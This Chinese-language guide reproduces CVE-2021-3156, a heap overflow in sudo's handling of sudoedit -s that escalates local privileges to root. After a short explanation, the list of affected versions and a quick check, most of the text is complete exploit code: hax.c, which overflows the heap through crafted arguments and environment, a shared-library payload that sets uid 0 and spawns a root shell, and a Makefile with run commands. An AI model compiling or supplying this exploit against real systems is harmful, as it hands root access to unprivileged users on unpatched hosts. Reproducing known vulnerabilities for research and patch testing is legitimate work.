CVE-2021-3156 sudo 提权漏洞复现

Question

1 漏洞介绍

1.1 原理

一个类 Unix 操作系统在命令参数中转义反斜杠时存在基于堆的缓冲区溢出漏洞。

当 sudo 通过 -s 或 -i 命令行选项在 shell 模式下运行命令时，它将在命令参数中使用反斜杠转义特殊字符。但使用 -s 或 -i 标志运行 sudoedit 时，实际上并未进行转义，从而可能导致缓冲区溢出。只要存在 sudoers 文件（通常是 /etc/sudoers），攻击者就可以使用本地普通用户利用 sudo 获得系统 root 权限。

1.2 影响版本

• Sudo 1.8.2 - 1.8.31p2
• Sudo 1.9.0 - 1.9.5p1

2 复现

2.1 快速判断漏洞方法

以非 root 用户登录系统，并使用命令 sudoedit -s /

• 如果响应一个以 sudoedit: 开头的报错，那么表明存在漏洞。
• 如果响应一个以 usage: 开头的报错，那么表明补丁已经生效。

2.2 编译运行

一共三个文件：

1. hax.c

// Tested on:
// Ubunutu 20.0.4.1 LTS
// Sudo version 1.8.31
// Sudoers policy plugin version 1.8.31
// Sudoers file grammar version 46
// Sudoers I/O plugin version 1.8.31


#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <ctype.h>

#define SUDOEDIT_PATH "/usr/bin/sudoedit"

int main(int argc, char *argv[]) {
	// CTF quality exploit below.
	char *s_argv[]={
		"sudoedit",
		"-u", "root", "-s",
		"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\",
		"\\",
		"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB123456\\",
		NULL
	};

	char *s_envp[]={
		"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
		"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
		"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
		"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
		"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
		"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
		"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
		"\\", "\\", "\\", "\\", "\\", "\\", "\\",  
		"X/P0P_SH3LLZ_", "\\",
		"LC_MESSAGES=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
		"LC_ALL=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
		"LC_CTYPE=C.UTF-8@AAAAAAAAAAAAAA",
		NULL
	};

	printf("**** CVE-2021-3156 PoC\n");

	execve(SUDOEDIT_PATH, s_argv, s_envp);

	return 0;
}

2. lib.c

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
static void __attribute__ ((constructor)) _init(void);
 
static void _init(void) {
	printf("[+] bl1ng bl1ng! We got it!\n");
	setuid(0); seteuid(0); setgid(0); setegid(0);
	static char *a_argv[] = { "sh", NULL };
	static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
	execv("/bin/sh", a_argv);
}

3. Makefile：

all:
	rm -rf libnss_X
	mkdir libnss_X
	gcc -o sudo-hax-me-a-sandwich hax.c
	gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
clean:
	rm -rf libnss_X sudo-hax-me-a-sandwich

编译：

tar -zxvf CVE-2021-3156.tar.gz
cd CVE-2021-3156
make

直接执行： ./sudo-hax-me-a-sandwich 即可。